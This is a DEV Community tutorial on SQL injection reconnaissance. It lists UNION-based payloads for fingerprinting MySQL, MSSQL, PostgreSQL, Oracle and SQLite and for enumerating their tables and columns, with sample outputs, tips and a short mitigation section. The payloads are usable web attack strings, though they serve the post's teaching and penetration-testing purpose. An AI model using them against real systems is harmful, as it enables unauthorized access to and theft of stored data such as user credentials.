DEV Community

Cover image for 🛡️ Examining the Database in SQL Injection Attacks
AK
AK

Posted on

🛡️ Examining the Database in SQL Injection Attacks

#sql #hacktoberfest #cybersecurity #webdev

🔍 How to Identify Different Databases and Extract Schema Info via SQL Injection

⚠️ This guide is for educational purposes only. Always perform security testing with explicit authorization. Unauthorized access or exploitation of systems is illegal.

🧭 Table of Contents

  1. Introduction
  2. Identify Database Type Using Syntax
  3. Determine Database Version
  4. List All Tables in the Database
  5. List Columns in a Specific Table
  6. Examples for Major DBMS Types
  7. Tips & Best Practices
  8. Mitigation: How to Prevent SQLi

1️⃣ Introduction

SQL injection (SQLi) allows attackers to manipulate database queries to extract, modify, or delete data. A critical first step in exploiting SQLi is identifying:

  • The type of database (e.g., MySQL, PostgreSQL, MSSQL, Oracle)
  • The version of the database
  • The structure of the database — tables and columns

This document walks you through how to use database-specific syntax to identify different databases and extract their schema details using SQL injection techniques.

2️⃣ Identify Database Type Using Syntax

Each database system has unique syntax and built-in functions. You can exploit these differences to determine the type of backend database.

💡 Common Techniques

✅ Try Simple Queries in Injection Point:

Use payloads like:

' AND (SELECT 'a')='a
Enter fullscreen mode Exit fullscreen mode

If it doesn't cause an error, it might be MySQL.

Try:

' AND 1=CAST(VERSION() AS INT)--
Enter fullscreen mode Exit fullscreen mode

If this returns an error, but @@version works, it’s likely MySQL or MSSQL.

3️⃣ Determine Database Version

Knowing the version helps in crafting further exploits, as certain versions may have known vulnerabilities.

📋 Common Queries by DBMS

Database Query to Get Version
MySQL / MSSQL SELECT @@version
PostgreSQL SELECT version()
Oracle SELECT * FROM v$version
SQLite SELECT sqlite_version()

🧪 Example Payload (UNION-Based SQLi): 

' UNION SELECT @@version--
Enter fullscreen mode Exit fullscreen mode

📄 Sample Output for MSSQL: 

Microsoft SQL Server 2019 - 15.0.2000.5 (X64)
Jun 15 2021 10:47:43
Copyright (c) Microsoft Corporation
Express Edition (64-bit) on Windows Server 2019 Standard
Enter fullscreen mode Exit fullscreen mode

📌 From this output:

  • It's Microsoft SQL Server
  • Version is 15.0.2000.5
  • Running on Windows Server 2019

4️⃣ List All Tables in the Database

Once the DBMS is identified, you can query metadata views like information_schema.tables to list all tables.

❗ Note: Oracle does not support information_schema. Instead, it uses system views like all_tables.

🧮 Supported Databases:

  • MySQL
  • PostgreSQL
  • Microsoft SQL Server

📚 SQL Query: 

SELECT table_name FROM information_schema.tables WHERE table_type = 'BASE TABLE'
Enter fullscreen mode Exit fullscreen mode

🧪 Example Payload: 

' UNION SELECT table_name FROM information_schema.tables WHERE table_type = 'BASE TABLE'--
Enter fullscreen mode Exit fullscreen mode

🧾 Sample Output:

TABLE_NAME
Users
Products
Orders

📌 You now know there are three tables: Users, Products, and Orders.

5️⃣ List Columns in a Specific Table

After identifying table names, you can retrieve column names and types to understand what data is stored.

📚 SQL Query: 

SELECT column_name, data_type FROM information_schema.columns WHERE table_name = 'Users'
Enter fullscreen mode Exit fullscreen mode

🧪 Example Payload: 

' UNION SELECT column_name, data_type FROM information_schema.columns WHERE table_name = 'Users'--
Enter fullscreen mode Exit fullscreen mode

🧾 Sample Output:

COLUMN_NAME DATA_TYPE
UserId int
Username varchar
Email varchar
Password varchar

📌 The Users table contains four columns:

  • UserId (integer)
  • Username (string)
  • Email (string)
  • Password (string)

6️⃣ Examples for Major DBMS Types

🟢 MySQL / Microsoft SQL Server

Get Version: 

' UNION SELECT @@version--
Enter fullscreen mode Exit fullscreen mode

List Tables: 

' UNION SELECT table_name FROM information_schema.tables WHERE table_type = 'BASE TABLE'--
Enter fullscreen mode Exit fullscreen mode

List Columns: 

' UNION SELECT column_name, data_type FROM information_schema.columns WHERE table_name = 'Users'--
Enter fullscreen mode Exit fullscreen mode

🟣 PostgreSQL

Get Version: 

' UNION SELECT version()--
Enter fullscreen mode Exit fullscreen mode

List Tables: 

' UNION SELECT relname FROM pg_class WHERE relkind='r' AND relname NOT LIKE 'pg_%' AND relname NOT LIKE 'sql_%' ORDER BY relname;--
Enter fullscreen mode Exit fullscreen mode

List Columns: 

' UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'users'--
Enter fullscreen mode Exit fullscreen mode

🟡 Oracle

Oracle does not support information_schema.

Get Version: 

' UNION SELECT banner FROM v$version WHERE rownum = 1--
Enter fullscreen mode Exit fullscreen mode

List Tables: 

' UNION SELECT table_name FROM all_tables--
Enter fullscreen mode Exit fullscreen mode

List Columns: 

' UNION SELECT column_name FROM all_cons_columns WHERE table_name = 'USERS'--
Enter fullscreen mode Exit fullscreen mode

⚠️ Oracle table/column names are usually in uppercase, so match accordingly.

🟤 SQLite

Get Version: 

' UNION SELECT sqlite_version()--
Enter fullscreen mode Exit fullscreen mode

List Tables: 

' UNION SELECT name FROM sqlite_master WHERE type='table'--
Enter fullscreen mode Exit fullscreen mode

List Columns: 

' UNION SELECT sql FROM sqlite_master WHERE name='users'--
Enter fullscreen mode Exit fullscreen mode

This will return the full CREATE TABLE statement from which you can extract column names.

7️⃣ Tips & Best Practices

  • 🔁 If one payload fails, try another.
  • 📦 Use tools like SQLMap to automate schema extraction.
  • 🧩 Blind SQL injection requires time-based or conditional responses.
  • 🕵️‍♂️ Look for verbose error messages — they often leak DBMS info.
  • 🔄 Use ORDER BY, UNION SELECT NULL,NULL,... to find number of columns if schema extraction fails initially.

8️⃣ Mitigation: How to Prevent SQLi

To protect your application from SQL injection:

  • ✅ Use parameterized queries (prepared statements)
  • ✅ Validate and sanitize all user inputs
  • ✅ Use ORM libraries (like SQLAlchemy, Hibernate)
  • 🛡️ Apply the principle of least privilege to DB users
  • 🧹 Regularly scan for vulnerabilities using tools like OWASP ZAP or Burp Suite

🎉 Final Thoughts

Understanding how to identify the database type and extract its structure is essential for both ethical hackers and developers. Whether you're testing your own application or improving your penetration testing skills, knowing how to enumerate database schemas gives you powerful insight into potential vulnerabilities.

For more resources, visit:

🔐 Stay secure, stay informed, and hack responsibly!

Made with ❤️ by your Onyxwizard.

Top comments (1)

Some comments may only be visible to logged-in visitors. Sign in to view all comments.